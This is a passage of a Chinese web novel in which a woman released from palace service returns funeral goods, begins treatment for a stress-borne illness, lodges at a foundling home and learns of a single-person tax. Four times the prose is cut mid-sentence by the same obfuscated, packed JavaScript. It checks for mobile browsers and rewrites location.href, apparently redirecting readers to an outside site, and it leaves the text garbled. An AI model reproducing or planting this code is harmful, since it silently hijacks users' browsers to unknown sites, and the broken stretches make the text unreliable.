黄迎春也知道这个道理,但她无论如何都无法说服自己再进一处地方待上五年十年。
那种日子太可怕了!
虽然在民间做工的风险没有皇宫中那么大,但若是遇上一家脾性不好的,签了契约在先,也不可能说走就走。再说,她现在身上也没有多余的钱可以拿来交付毁契的赔偿。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771637|190244||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
黄迎春思前想后,最后还是婉拒了牙人,出门找了一家看起来生意很好的点心铺子,要了两份打包好的点心,再度往凶肆的方向走去。
张家凶肆已经开门了,门口照旧没有人站在那儿迎客。
黄迎春深吸一口气,然后扬起一张笑脸,进门。
李三正在收检铺子的库存,他拿着一根拂尘,细细地扫去架子上的灰尘,见到黄迎春来,连忙绕去柜台:“娘子来登记送货地?”
“不……不是。”黄迎春脸上的笑好险没落下来,她急忙提起手上的点心,又四处张望,“掌柜的不在吗?”
黄迎春带来两份点心,李三从油纸上的印戳一眼认出那是从西街上有名的点心行里买来的,又听到黄迎春说其中一份是送给自己的,再看了看黄迎春带着忐忑与讨好的笑,心中油然而生一股不安,而且越来越强烈。
“您……不是来登记的吧?”
掌柜的从后堂出来了,黄迎春当着两人的面,羞愧地说:“对不住,我今儿是来退货的。”
货还没送怎么就要退呢?李三问:“您是不是对我们铺子里的货品有哪里不满意?”
“不,不……不。”黄迎春连忙摆手,“没什么不好,我很满意。只是,我现在一时用不上。”
“嗐!”李三放心了,“这不是什么大事,我们店里可以寄放。您什么时候要用了,拿着签单过来取就是了。我们不收您的经管钱。”
“还是算了吧。”黄迎春不好意思地说,“需要你们帮忙经管的年月,可能有点长。”
“有多长?”
“大概……二十年。”黄迎春也不敢说死了,又添上一句,“可能也不止。”
掌柜的是个有眼力见的人,要不然他也不可能一见面一打眼就认出黄迎春的身份,还给她出了立女户的法子。他听了这几句话,已经明白了。李三还想再劝,掌柜的却喊住他:“莫要再说。”
俗话说伸手不打笑脸人,俗话又说礼多人不怪。黄迎春虽然没长那根活络的脑筋,但是基本的人情世故还是懂的。不管事情能不能办成,一开始绝不能小气,起码要让对方看到自己的诚意。所以,她去买点心时,特意让伙计给她包了时兴的糕点,数量也是好听的十种。以防串味,伙计将每种糕点都用油纸包了,最后再用红色的丝线把油纸包串在一起,提起来一长串鼓鼓囊囊的,既好看又喜人。
掌柜的接过黄迎春手中的糕点,说:“这礼,我做主收下了。只是,这货,不能全退。你之前要的那个墓碑,石头是现有的,已经开始动工了。你来得不巧,这时候,估摸着已经刻上字了。”
掌柜的分出一些糕点,推向李三,对他说:“其他的,能退就给退了吧。”
掌柜的说话大喘气,黄迎春的心跟着一上一下的,好悬没被吓死。所幸峰回路转,她连忙鞠躬致谢,然后又小心翼翼地问给她找签单的李三:“我那二十贯的柏木棺材,能退吗?”
“能。”凶肆不比牙行,宋大是靠交易额吃饭的,李三则不同,他每个月的工钱都是有定数的,凶肆里的货物卖多卖少对他来说没什么要紧。
李三态度颇好地给黄迎春消了账。凶肆做的是往生的生意,不允许拖欠,而且张家凶肆的招牌在西市里也是响当当的,不存在卷款跑路的担忧,所以来采买的每位客人在下单时就会把钱财全部付清,黄迎春也不例外。
轻飘飘的一张纸,承载的却是三十贯的重量。黄迎春看着那张钱票,差点哭出声来。
有了这笔钱,她就能安心在永安城里待着,直到把病治好。
太好了!
黄迎春深深地躬身致谢:“谢谢,谢谢。”
掌柜的停下拨弄算盘珠子的手,把黄迎春送出门:“去吧,好好活,好不容易出来了,过点好日子。”
7. 治病
与到了年纪即可被放出宫的宫女不同,太监没有这种机会。
他们出宫的可能性极其渺茫,大太监还可能得到贵人青眼被赐旨出宫荣养,小太监们只能等到干不动了,或是获罪被贬出宫,在宫外落得一个流离失所自生自灭的下场。
太监无法成家,自然也没有后人供养,所以他们在宫中都卯足了劲地往上爬,大肆搜刮钱财,只为了有朝一日出宫时日子能过得好一点儿。
因此,皇宫里最不缺的,就是兑金打银的生意。
没办法,一贯钱等于一千文,一千文就是一千个铜板,谁也不可能天天带着一堆铜板在人前晃荡,给别人听响儿。
遭人眼红,是不测之祸的前兆。
黄迎春从来不肯犯这种忌讳。
每逢发了俸禄,她都精打细算,先留下一部分日常花费;再在身上放一笔钱,用来应付可能出现的各种意外支出;其余的,通通都换成金银,装进一只小小的荷包里,再把荷包塞在胸口,贴着胸怀日日夜夜地放着。
这些体己,在她出宫的这几天,都陆陆续续被她拿到钱庄兑成了铜板和钱票,大概有一百贯之数。多出的那些个铜板,黄迎春吃了碗羊肉面就花完了,便没有放在心上。
买山花了三十贯,交契税、立女户、牙行的中介费、宋大的辛苦费、住宿吃饭看杂耍买点心……这些零零总总加起来又花去了大概十贯钱。
唯一让黄迎春感到欣慰的是,价值二十贯的柏木棺材退货退款了。
石碑虽然刻了字寄放在凶肆待发货,但石头本身不值钱,买一块虽然也要一贯多,加上给工匠的工钱,拢共要花两贯,但比起掌柜的愿意给她一起退货退款的寿衣、明器、纸钱等物,更是不值得一提的小事。因此,虽然心痛自己花了两贯钱买了块没用的石碑,但黄迎春心中还是对凶肆的掌柜的和李三充满了感激,没法发出什么怨言。
毕竟,现在心里流的泪,都是自己当初脑子里进的水啊!沦落到现在这个下场,完全是自个儿自作自受!
黄迎春分出二十贯,又把剩下的三十八贯钱妥善地放入怀中藏好,然后卷起包袱兴冲冲地回到杏林医馆。
晚上的住处都还没寻到,但这一点儿也不耽误黄迎春现在的好心情。
太好了!我有钱看病了!我能继续活着了!
一事不烦二主,黄迎春找到昨日给她看诊的那位大夫,把二十贯钱如数交到他面前:“大夫,依您看,我这病该怎么治?”
大夫摸着山羊胡,只说了这么一句话:“百病生于气。”
黄迎春不理解:“可是,我是一个不生气的人啊。”
她在皇宫里既无关系又无门路,又没有阿谀奉承的本事,从来都是老老实实做事,低低调调做人。莫说争吵打架,连与人红脸的次数都超不过一只手。如今她能平平安安出宫,靠的就是多年来表里如一的好脾性。
大夫不赞同,他说:“是人就有生气。你不生气,说明你一直压着不让自己生气,这股气被你淤压在心底,激发不出来就会变成病。更何况你日久天长地压着自己不让自己生气,又没有什么发泄的渠道,相当于只进不出,日子久了,身体自然就坐下病来。”
大夫的话仿佛一把利刃劈在黄迎春的脑海里,她顿时明白大夫与昨天单刀直入的行径大不相同的原因。她的病,不在于身,而在于心。如果不打心底里改变,就算身体上的病痛治好了,也是活不快活的。治标不治本,总有一日那些不适会卷土重来。
忍字心头一把刀啊。
她忍的,何止在皇宫中的十五年。
这一世,她带着上辈子的记忆出生。虽然安朝是她闻所未闻的朝代,但这个世界有许多东西和现代是相似甚至相同的。别的不说,只看菜园里种的蔬菜。黄迎春还记得,她刚学会走路那年,她娘把她带到地里一起去摘菜,顺带教她说话。
“迎春,看,告诉娘,这是什么?”
“茄……茄子!”
“叽里咕噜说什么呢?这是落苏!落——苏——”
现代的茄子,在娘亲的嘴里,却成了落苏。
惊讶和害怕席卷了黄迎春的心,她生怕自己被当成妖怪抓起来,于是之后无论娘怎么问,怎么让她开口说话,她都不敢再辨认任何一种东西。
“这孩子,怎么这么面呢,就跟据嘴葫芦一样,怎么也不肯多说几句,真是愁人!”
娘亲没愁多久,因为很快她就怀上了第二胎,家里的长辈说小孩子的眼睛干净,娘亲就天天问她肚子里的孩子是男是女。
黄迎春怎么可能知道?
可她知道母亲的想法,所以每回她都说是弟弟。
十月怀胎一朝分娩,她的二妹呱呱落地。
娘亲仿佛把她没生出儿子的事情怪罪到自己的头上,不肯分给她多少好脸色。
二妹牙牙学语时,娘亲又怀孕了。
这回,是弟弟。
人家都说看重老大心疼老小,老二成天受夹心气。
这个惯例在她家却失了灵。
娘亲对弟弟极好,对能说会道的二妹也不错,整个家里唯一一个不得父母看重和疼爱的人只有黄迎春。
这一点,在父母生下更多的弟弟妹妹之后也没有改变。
于是,本就在陌生朝代担惊受怕的黄迎春愈发寡言少语,天天只知道干活吃饭,再偷偷攒点钱财。
结果,好不容易熟悉了乡村的生活,融入安朝成为一个普通的乡下姑娘,她又进了宫。
辛辛苦苦十二年,一朝回到解放前。
黄迎春又开始忍,忍得比从前还要辛苦。
过去酿成的因,全都造就了今日的苦果。
黄迎春低头苦笑:“您说的我明白,可是我能怎么办啊?那不是……实在没法子么。”
大夫指向黄迎春拿出的二十贯钱,问她:“现在也没法子吗?”
两张叠在一起的钱票映入眼帘,黄迎春怔住。
现在……
现在,她可以一口气拿出二十贯给自己治病救命。
她的怀里还揣着寻常农家集齐一家人之力操劳半辈子都未必都攒到的钱数。
她在这个世界上已经活了二十七年,没有一个人发现她身上的秘密。
她已经离了家、出了宫、立了女户,现在,再也没有需要她忍耐的人和事了。
黄迎春眉间愁绪尽消,笑脸盈盈:“您说的是。”
病能否治疗成功,最要紧的是钱足够支撑走完全部疗程,最关键的是病人完全配合。见黄迎春如此配合,大夫喜笑颜开,也不再浪费时间,很快就理出一整套治疗流程,不限于吃药,还包括针灸、艾灸、药浴、药膳、养气功夫等,日日都得来医馆花上大半天的时间,一日都断不得,起码要来一个月。
新年已过,冰雪初融,转眼就是春耕时节,农家已经渐渐开始忙碌起来,住在城里的坊郭户,也开始争相脱下厚重的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771638|190244||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
冬装,往更远的地方去寻找生计。这个时候,时间就是金钱。大夫生怕黄迎春心急,对这么长的治疗时间有顾虑,细细地给她解释:“你这些毛病都是日积月累添出来的,没有立竿见影的灵丹妙药,需得花了水磨功夫,慢慢地治。”
田里没地,手里没活的黄迎春很好说话:“您说怎么治,我就怎么治,您放心,我听您的。
黄迎春目前唯一的顾虑只有一件事——她今晚住哪?
她没有顾虑太久,大夫拿出针灸的工具,正准备给她施针,见黄迎春心绪起伏不定,沉声道:“闭眼,静心。”
一根长长的银针扎进她的脑袋,黄迎春顿时什么心思都没有了,浑身上下只剩下紧张。
针灸的时间很长,但见效极快。结束后,黄迎春晃晃脑袋,觉得自己的头都变得不怎么疼了,身体也不再疲惫懒怠,腿脚似乎都更有力气了。
好厉害啊!
这就是传说中的高手在民间吗?
和杏林医馆里的大夫们比起来,医药局里的医师简直就是尸位素餐之辈。
黄迎春敬佩地向大夫致谢,见天色已晚,她又急忙背起包袱,准备赶紧出门去寻摸一家物美价廉的客栈。
没想到,却被大夫留住。
“吃了再走。”
医馆有厨房,但是是熬药用的,进出往来的都是一些药童和跟在大夫身边学习的医徒。医馆里的大夫、学徒和药童们想吃饭,都得自己花钱去外面买。但是,看病就诊不比其他事,遇上黄迎春这种要针灸的,哪怕时间再长,中途也不能停下来,所以,医馆的吃食就被“外卖服务”外包了。
来送夕食的是一个性格爽利的妇女,人人都喊她石娘子。
大夫从石娘子带来的一个餐盒里取出一盅当归生姜羊肉萝卜汤。
羊肉的香气在空气中若隐若现,一打开,香气更是浓郁。几点枸杞子混着生姜当归漂浮在散着油花的热汤上,萝卜的块头切得极大,但是已经被炖透了,看着就清甜可口。
难以想象,在落着冬雪的寒冷傍晚,吃上一盅当归生姜羊肉萝卜汤,会是多么舒服的一件事!
虽然这盅汤完美唤出了黄迎春肚里的馋虫,但她还是摆摆手推却了。
羊肉价贵,她得省着点花。
“你气血不足,羊肉汤既能暖身养胃,还能发汗解表,祛除你体内的寒湿,益处多多,快吃吧。”
石娘子一边手脚麻利地把餐盒里面装的饭菜拿出来,一边说:“娘子别担心,这是药膳,既是吃饭也是吃药,一举两得的事。”
药膳?黄迎春记起大夫说的治疗方案里的确包括这一项,当即不客气地揽着包袱坐下来,开吃!
好香啊!
好饿啊!
好鲜啊!
好好吃啊!
“啊……好烫!”黄迎春放下汤勺,嘴里不停呼气,又拿起手不停地扇风,然后继续埋头苦吃。结果她一块羊肉还没彻底吃完,就见石娘子刚拿起空餐盒出门,没过多久就又拿着装得满满的餐盒回来了。
黄迎春好奇地问:“石娘子住得很近吗?”
“我就住在拐角的慈善堂,走个二三十步就到了。”
“慈善堂?”
旁边有个药童插了一嘴:“那是衙门建的专门收养弃婴和流浪儿的去处。”
羊肉汤还没吃完,屋檐外的天色已经彻底暗淡,即将在大街上流浪的超大龄儿童黄迎春,忽然计上心来。
8. 盖房
慈善堂是官家开设的慈善机构,不具备盈利性质。官府每月都会派人来检阅孩子们的情况,并根据人头数把这个月的份例发给负责人,由她来操办这一群孤儿寡母的生计。西市杏林医馆附近的这一家慈善堂,负责人便是石娘子。
石娘子冒着寒风领先黄迎春一小步走在前面为她引路,声音被严寒摧残得七零八落:“但是,要说过得有多好,倒也没有。衙门的钱也紧,最多也就是能让他们不受冻挨饿,有一片瓦可以遮风挡雨。”
衙门虽然出了钱,但也只能勉强度日。为了让孩子们的日子过得更好一点儿,石娘子每天都在精打细算,开源节流,这也是黄迎春刚开口说愿意出钱借宿她便立刻一口应下的原因。
慈善堂的招牌已经落漆,门口挂着的灯笼里面连根冒烟的灯草都没有,若不是黄迎春一直紧紧跟着早已走惯的石娘子,早就不知道在昏暗处跌了几回跤。
“有个地方睡觉,有口吃的,对孩子们来说已经很好了。”这话,也是黄迎春在宽慰自己。
“是啊,等孩子们大了,学了手艺,有了本事,他们的日子就会越来越好过的。”石娘子并不气馁,一进门,她就扬起亲切的笑脸,一边和遇见的孩子们说家常,一边把黄迎春介绍给大家。
去厨房放了餐盒,石娘子又带着黄迎春去她的住处。慈善堂地方不大,石娘子又是个健谈的,还没放下包袱,黄迎春已经把慈善堂里的布局知晓了七七八八。
“你就睡这儿吧。”石娘子给黄迎春指了一个地方,倒是出乎黄迎春的意料,竟然不是和女孩儿们挨在一起睡的大通铺,而是一个单间。虽然地方不大,空气里还弥漫着一股若有似无的尿骚味,但毕竟是一个有床有门的单人房间。
“这是云嫂子的屋子。”石娘子和黄迎春解释,“哦,云嫂子是我们这儿聘的奶娘。她家就在附近,所以一般晚上都回家去。这个月你就住在这儿吧。”
黄迎春忐忑地问:“不碍事吧?”
她一开口石娘子就风风火火地把她带回来了,这段时间她一直和她形影不离,她们也没碰上石娘子口中的云嫂子,毕竟是别人的房间,没提前知会一声就让她住进来,明天她不会被云嫂子连人带包袱丢出去吧?
“不碍事。都是女的,碍什么事啊!一开始,云嫂子都是在外面喂的。哪个饿了,就直接敞怀抱过来喂。咱们这儿反正也没个男人,门一关,还怕哪个来看?”石娘子说得敞亮,黄迎春说话听音,也明白石娘子口中的外面不是真的外面,而是那些吃奶的孩子们睡的地方。
黄迎春脸皮薄:“看人喂奶,我还是不大好意思。我和您讨问下云嫂子上工的时间,等她来了,我就把床收拾好,趁早避出去。”
“不用,不用!”石娘子看在一天二十文的面子上,怎么说都不肯让黄迎春吃亏。黄迎春住在这里原本就不包伙食,若再让人连觉都睡不好,石娘子睡到半夜都得起来抽自己两个嘴巴子——亏心哪!
黄迎春推拒不过,只能自己打定主意,暗暗警醒自己晚上不要睡得太过,注意听打更人报时,早上起得早一点儿。
实际上,黄迎春可能也不需要有这种担心,她虽然有了住的地方,但慈善堂并不宽裕,石娘子甚至找不出一个多余的火盆可以挪给黄迎春取暖。
幸好,黄迎春的包袱里自带了一个汤婆子,石娘子连忙殷勤地帮忙拿去厨房灌热水。
回来后,石娘子又手脚麻利地把屋子里云嫂子的物品放到一处收起来,给黄迎春腾地方。
黄迎春则走到窗边,检查了一下窗户的合页,当着石娘子的面把房间里所有物什的好坏情况都确定了一遍。
人心叵测,不得不防。黄迎春可不想在离开慈善堂那天被人拦在屋里,要求赔偿房屋里有损坏痕迹的物品。
石娘子勤快地把房间收拾好,环顾四周,最后把目光落在那扇狭窄的小窗上。
她嘱咐黄迎春:“明天早上若是在窗外看到人影,或是听到什么声响,你别怕,那是堂里的孩子。”
云嫂子之所以能有一间属于自己专门拿来喂奶的屋子,不是没有缘由的。
她第一天来慈善堂上工,孩子们就围着她打转。
本以为是新鲜感作祟,没想到过了半个月这个情况依然没有发生改变,总是有孩子一边含着手指头放在嘴里啜一边看她喂奶,而且不止一两个。
石娘子一开始还以为这些孩子是饿了,结果咬牙蒸了一大笼屉的小馒头,还是有一些孩子拿着馒头眼巴巴地守在喂奶的云嫂子身边。
小小年纪竟然就有淫/性!
她生气地去驱赶那些赖在袒胸露乳的云嫂子身边的儿郎,结果大嗓门吓到了还在喝奶和睡觉的小娃,大家此起彼伏地哭起来,偏偏人手又少,一人抱两个都哄得来不及。
往日里比较懂事贴心的女孩儿主动过来帮忙哄,结果怎么哄都哄不好,最后反倒急得自己个儿哭出声来。
姑娘们一哭,儿郎们也哭了。
石娘子这才从他们的抽噎中知道原委。
原来,他们不是不知羞,也不是馋嘴想喝奶,只是看见云嫂子抱着小小的人儿喂奶,笑着夸怀里的孩子,很是羡慕,觉得若是他们的家人没有丢弃他们,他们的娘应该也会这样对待他们。
这些孩子,只是想念母亲了。
他们渴望当一次云嫂子怀里的孩子,被她抱在怀里,被她用热乎乎的脸颊贴着脸亲昵,被她用好听的嗓音唱着小曲儿哄着入眠……
他们想知道有娘是什么感觉,可惜他们没有娘。
“没法子打骂,他们都懂事听话的很,就是有些孩子和他们讲了道理他们也忍不住,总有偷偷跑到窗外往里偷看的时候。不过你放心,他们什么也看不着。今年冬好不容易新糊的窗纸,花了大价钱,没人敢捅。天也凉,他们也知道不能受寒生病,到了晚上基本上个个都不出屋子。就是以前有发生过一次这样的事情,我提前和你说一声,给你打声招呼,要是真有哪个混小子在外面作怪吓到你了,你喊一声,我就在东屋,能听见。”
石娘子又给黄迎春指了她的住处。
慈善堂里人手不多,孩子们都是老带新,大带小,但是还没学会说话走路又会闹觉的小孩,夜间只能石娘子自己带了。
“我觉浅,你放心,有事就来找我,在门口叫一声就行。”石娘子这么说。但是一个月来,黄迎春没有麻烦过她一回。反倒是她,受了黄迎春不少的照顾。
每天早上,石娘子醒来的时候,厨房的灶上已经烧好一大锅热水等待取用。她煮好朝食,拿着餐盒准备送去杏林医馆时,黄迎春总会打着她也要去医馆治病的旗号,帮她一起把餐盒送过去。晌午她买完东西回来,也会遇见黄迎春蹲在院子里和孩子们一起挑拣药材。
“石娘子你回来啦,哦,陈大夫说我最近好转许多,针灸的部位越来越少了,所以我回来得比较早,就在这儿和月娘荷娘她们一起玩,不妨事吧?”
“哪里是玩,迎春姨姨帮我们弄了好多呢!石娘娘你看,这些全部都是迎春姨姨分出来的。”
“石娘娘你给我们买什么好吃的回来了?啊……是弟弟还是妹妹?又是在门口捡的吗?”
每年一到冬天,慈善堂光秃秃的门槛前面隔三差五就会多出一个孩子。不知是遭了天灾还是人祸,总之,来慈善堂的孩子都是被家人抛弃的。今天这个也不例外。
石娘子把熟睡的孩子抱进屋里安顿好,出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771639|190244||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来加入到挑拣药草的队伍里,一边挑,一边叹气:“我一回来就看见这个孩子在门口放着,放孩子的那个女人我也见到了,一直在边上躲着,看我抱起孩子才走了,说是家里穷,孩子身体弱,怕养不活。可我看她那穿着,也不到穷到要饭的时候,怎么就养不起一个孩子呢?!”
黄迎春淡淡地说:“是女孩吧?”
“是个男孩。”伤感只有一瞬间,石娘子很快又打起精神,开始和身边的孩子们商量起新成员的名字,“冬天捡的,叫晚冬吧?”
“石娘娘,咱们堂里已经有一个晚冬啦!”
“娘娘你真不会起名,不是早冬立冬就是晚冬的,就没有别的冬了吗?”
……
官府的人每月初一来给钱,慈善堂的孩子却不会专挑每月初一来。
多出来的不仅是时间,更是饱腹的食物、取暖的柴火和裹身的衣裳。
这些花费,和官府说,拿钱的人只会说石娘子斤斤计较,不说,日积月累下来,也是一大笔钱。
好在,天无绝人之路,世上的好心人也不少。
杏林医馆平日里会收一些外来的草药,这些草药没有经过炮制和清洗,甚至有些送来的时候还混着枯枝败叶。
医馆就把这个活交给了慈善堂,虽然钱不多,但是这已经是石娘子能找到的顶好的活计了,不用出门,孩子们虽然年纪小,但也做得来。
有个记性好的孩子,认识的药材多了,甚至因此进杏林医馆做了个药童,也是机缘巧合,但他深记慈善堂对他的恩情,时常买了点心回来探望石娘子和兄弟姐妹。
“就叫忍冬吧,石忍冬。”药童说。
“山哥你回来啦!”
孩子们呼啦啦地朝药童围过去,年纪不大的药童身量不高,却能抱起一个又一个孩子,几乎和所有能跑能跳的弟弟妹妹们都亲近后,他拎着鼓鼓囊囊的油纸包招呼道:“都去洗手,一个一个来,大家都有份。”
石娘子也招呼一直在帮忙挑拣草药的黄迎春:“快歇歇,别忙了。”
“还剩一点,这些弄完就停。”黄迎春细致地挑着。
她左手拿起一株药草,右手不停地挑出缠绕在其中的其他草叶和细枝,把它们攥在手里,然后继续拿起下一棵。
黄迎春手脚麻利,很快就把剩下的一点药草彻底挑拣干净。
她把手里的草芥扔在一旁,站起身,刚走动几步舒缓了一下身体,只见那些被她拣出来的草芥被寒风一吹,立即四散开来,打着卷儿飘到天空,又落到地上,零落成泥碾作尘,唯有风如故。
黄迎春去看了一眼那个刚被石娘子捡回来的名叫忍冬的孩子,雪虽然越下越小了,但天还是冷的,这个孩子在门外不知冻了多久,嘴唇都有点泛青,他的呼吸,就和草芥一样微弱。
如蝼蚁一般的人们,命运的出路在哪里呢?
黄迎春想了一夜,最后还是决定不能留在城里。
住在城里,生火要钱,喝水要钱,穿衣要钱,吃饭要钱……干什么都要钱,连倒个夜香还要付给倾脚夫一个月十文钱的跑腿费!更要命的是,她买不起房子,也赁不起几十年的屋子,手里还没有进项,住在城里坐吃山空的下场只有死路一条!
还是出城吧,去临安乡,再怎么说,她在那里也有一座占地三百亩的山林。砍点柴种点菜再养些鸡鸭钓点鱼虾,总不会饿死的。
打定主意之后,第二天治疗一结束,黄迎春立刻风风火火地闯进牙行。
宋大见到黄迎春已经有点怕了,生怕她是来找自己旧话重提,磨那座荒山的买卖。
结果,黄迎春的来意比买卖荒山更让他吃惊。
“您想在荒山脚下盖房?”
9. 单身税
宋大极力想要说服黄迎春打消这个不靠谱的想法。
“之前地龙翻身的时候,几乎整个连家村的人都被埋在地下,少有人逃出来。住在附近的,这些年也都不敢往那里去,就怕什么时候再来一场地龙翻身……”宋大说着说着,自知失言,连忙转移话题,建议黄迎春在荒山附近的村落安家置地,“我手上有不少良田,一亩只要二三贯。现在正好开春,田地稍微侍弄一下就能直接播种,一点儿都不耽误农事。”
比起置田,黄迎春更在意建房。她问清起一座最简单的屋舍大概只需要十贯钱之后,算了算身上的余钱,觉得匀出几贯钱买一两亩良田也是不错的选择。毕竟山地地势崎岖,灌溉不易,本来就不适合大面积种植,而且她现在还在城里治病,也不知道什么时候能治好,等她回山里开荒,还不知道要过多久,误了农时耽误了一整年的收成就不好了。
正当她兴致勃勃地和宋大一起选地时,一段遥远的记忆突然袭击了她的脑海,黄迎春立刻僵住了:“如果我买了田地,每年是不是还要交田税?”
“当然。”这是三岁小儿都知道的事情,宋大疑惑黄迎春竟然还特意问了一声。
哦,可能是不清楚具体要交多少税吧!
宋大心想,于是他十分善解人意地给黄迎春科普了安朝田税的缴纳时间和征收标准。
“咱们沿袭前朝,实行两税法。夏天和秋天各收一次田税。夏税征钱,也可以用绸绢布麦来代替。毕竟咱们这里种桑养蚕的人家多,家里有织机的,织两匹布交上去就尽够了。秋税只征粮食,良田的话,大概每亩收三斗的田税。另外,每人每年还要缴纳五百文的人头税,也是秋收之后一起征收……”
涉及到宋大的专业,他侃侃而谈。
黄迎春却越听心里越虚,她语气发飘,忍不住打断宋大:“咱们还是说说在荒山脚下建房的事情吧。你刚才说盖一间厨房,一间睡觉的卧房,一间待客的中堂和一个储冬的地窖,这些全部承包给施工队,土石木料全包,雇佣施工队的银钱也全部都算在内,一共要十贯,对吧?”
宋大不知道话题怎么又回到盖房上了,他一再确认,黄迎春十分坚定地表明——她就是要在荒山脚下找一个风水好的地方盖房安家!
寻常人家盖房也是要看风水的,不求大富大贵,只图安稳一生,所以这个风水就十分务实,只要避风近水就行,不必特意花钱去请什么风水大师来堪舆,施工队里有点年头的老把式都会看这个。
宋大可以给黄迎春打包票,他给她找的施工队一定能给她把房子盖好,但他不敢保证黄迎春能在里面住好。
房子盖得再结实有什么用啊,又不是青砖大瓦房。就算是青砖大院,一场地动过来就什么都没了,十年前连家村一位大地主家里的院子都是青砖铺的,结果呢,全家上下几十口人,除了外出的几个,全部尸骨无存。
黄迎春知道宋大是好心,但她不知道该怎么和宋大解释。
在古代,一发生天灾,百姓们就哭天喊地,埋怨自己命不好。活着的人显而易见地预见自己晚景凄凉,便余生都在求生拜佛,希望自己下辈子能投一个好命的胎。但闹天灾的次数要是太多或是在某地过于集中,当地执政者就会检讨自己。如果天灾的危害大到人人闻之丧胆,这时候就得请皇帝下罪己诏,举行各种仪式,祈求上天宽恕罪过。要是这样做还无法安抚民心,恰巧朝局动荡,在位的是个昏君,这时就会腾空出现一位盛世明君。总之,没有人会真的想去了解和探究发生天灾的真正原因。
通过九年义务教育的黄迎春和没上过初中地理课的宋大有次元壁,黄迎春不知道该怎么和宋大解释地震发生的成因,以及临安乡并不在板块交界处,发生地震的概率极低,她只能苦笑道:“如果我在那里遇上地龙翻身,那也是我的命。命该如此,迁居到哪儿都躲不了。若我命中不该早死,住在地动过的荒山,也能平安一生。”
黄迎春这样说着,连田地也不想购买了。宋大还想再劝,但他忽然意识到,黄迎春的态度是在他向她说了缴纳赋税这件事之后才发生了一百八十度的大转变。
田税和人头税虽然不多,但如果再加上单身税呢?
男十五成丁,女十六成人,这是律法。
宋大是陪着黄迎春一起去衙门立女户的人,对她的年纪和婚姻状况一清二楚。
怪不得,她忽然变了口风,连田地也不想买了。
明明她先前那会儿还对宋家村附近的几亩良田很感兴趣。
自打发觉了单身税的前情,不管黄迎春怎么说,宋大都当她是死鸭子嘴硬。所有的不得已,不过是在钱上一字为难罢了。
他也帮不上什么。世上的苦命人那么多,尤其是在牙行里,他每天都会碰上几个。善心虽多,经不住荷包里钱少啊。
宋大也只能说一些命运、运气之类的话去附和黄迎春。
黄迎春交给宋大十贯钱,拿回一张签约的白契,她把那张“盖房合同”看了又看,心里满怀对新家的憧憬和新生活的希望:“钱是人的胆,只盼我将来胆子能越来越大吧。”
“那是自然。”宋大把黄迎春送出门,衷心地祝愿她,“只能辛苦您再缴纳几回单身税了,好在女户前三年开荒都有减免赋税的政策,等熬过这几年,娘子您的日子定然会一天比一天过得好的。”
啥玩意儿?单身税?
黄迎春的笑容一下子僵在脸上,她猛地回头:“你刚才说什么?”
为什么宫女年过三十才放出宫?
除了节省用人成本,上位者其实还有另一种考量。安朝建立之后,为了尽快补充被战争消耗的大人口,官府出了种种休养生息的召令——鼓励寡妇再嫁;削减农税;宣扬多子多福,奖励生育数量多的女性……还有,对年十七到三十岁适龄未婚的男女收取单身税。
随着年龄的增长,单身税的数额会一年比
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771640|190244||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一年收得多。第一年,只要五百文,相当于一个成年人一年口粮的赋税。第二年,就要一贯。第三年,交一贯五百文钱……以此类推。到了三十岁之后,要是还无法成家,那就没办法了,官府会对这位勤勤恳恳缴纳了十四年单身税的优秀纳税人表示深切的遗憾,然后果断放弃对这位光棍的催婚大业。
但是,宫女年过十七还没成亲,那就不是人家的问题了。她们通常在十二三岁的花样年华被花鸟使召进宫,年老色衰、青春不在后又被放出宫去,换一批更年富力强的新人进去伺候。这时候,要是还揪着大龄宫女的未婚问题让人家交单身税,那真是没有丝毫道理可讲。为了安抚民心,宫女出宫的时限就被定为三十岁。三十岁之后再出宫,虽然没了青春,但好歹不会被要求缴纳单身税。
